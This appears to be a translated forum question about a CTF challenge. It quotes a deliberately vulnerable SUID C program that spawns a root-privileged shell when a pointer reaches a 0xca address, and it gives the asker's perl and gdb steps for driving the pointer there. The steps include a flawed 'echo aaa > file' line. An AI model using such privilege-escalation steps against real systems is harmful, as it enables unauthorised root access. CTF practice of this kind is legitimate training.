【发布时间】:2015-06-22 05:19:15
【问题描述】:
我正在尝试利用 SUID 程序。
程序是:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }
void print(unsigned char *buf, int len)
{
int i;
printf("[ ");
for(i=0; i < len; i++) printf("%x ", buf[i]);
printf(" ]\n");
}
int main()
{
unsigned char buf[512];
unsigned char *ptr = buf + (sizeof(buf)/2);
unsigned int x;
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
printf("All done\n");
}
我们可以很容易地看到,如果我们以某种方式将 ptr 的内容更改为以 CA 开头的某个地址,那么将为我们生成一个新的 shell。由于 ptr 通常保存一些以 FF 开头的地址,因此减少它(ptr)的方法是输入 \ 字符。所以我制作了一个包含 0x35000000 '\' 字符的文件,最后在文件末尾添加了 3 个 'a'
perl -e "print '\\\'x889192448" > file # decimal equivalent of 0x35000000
echo aaa > file # So that e() is called which actually spawns the shell
最后在 gdb 中,
run < file
然而,不是生成一个 shell gdb 而是说
process <some number> is executing new program /bin/dash
inferior 1 exited normally
然后返回 gdb 提示符而不是获取 shell。 我通过在适当的位置设置断点确认 ptr 在 setresuid() 被调用之前确实以 CA 开头。
此外,如果我在 gdb 之外通过管道传输,则不会发生任何事情。
./vulnProg < file
Bash 提示返回。
请告诉我我在哪里犯了错误。
【问题讨论】:
-
如果你去掉所有的繁琐而只做
int main() {setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }会发生什么?这真的达到了你的预期吗? -
抱歉,我不能这样做,因为程序在远程 CTF 服务器上,我的权限有限。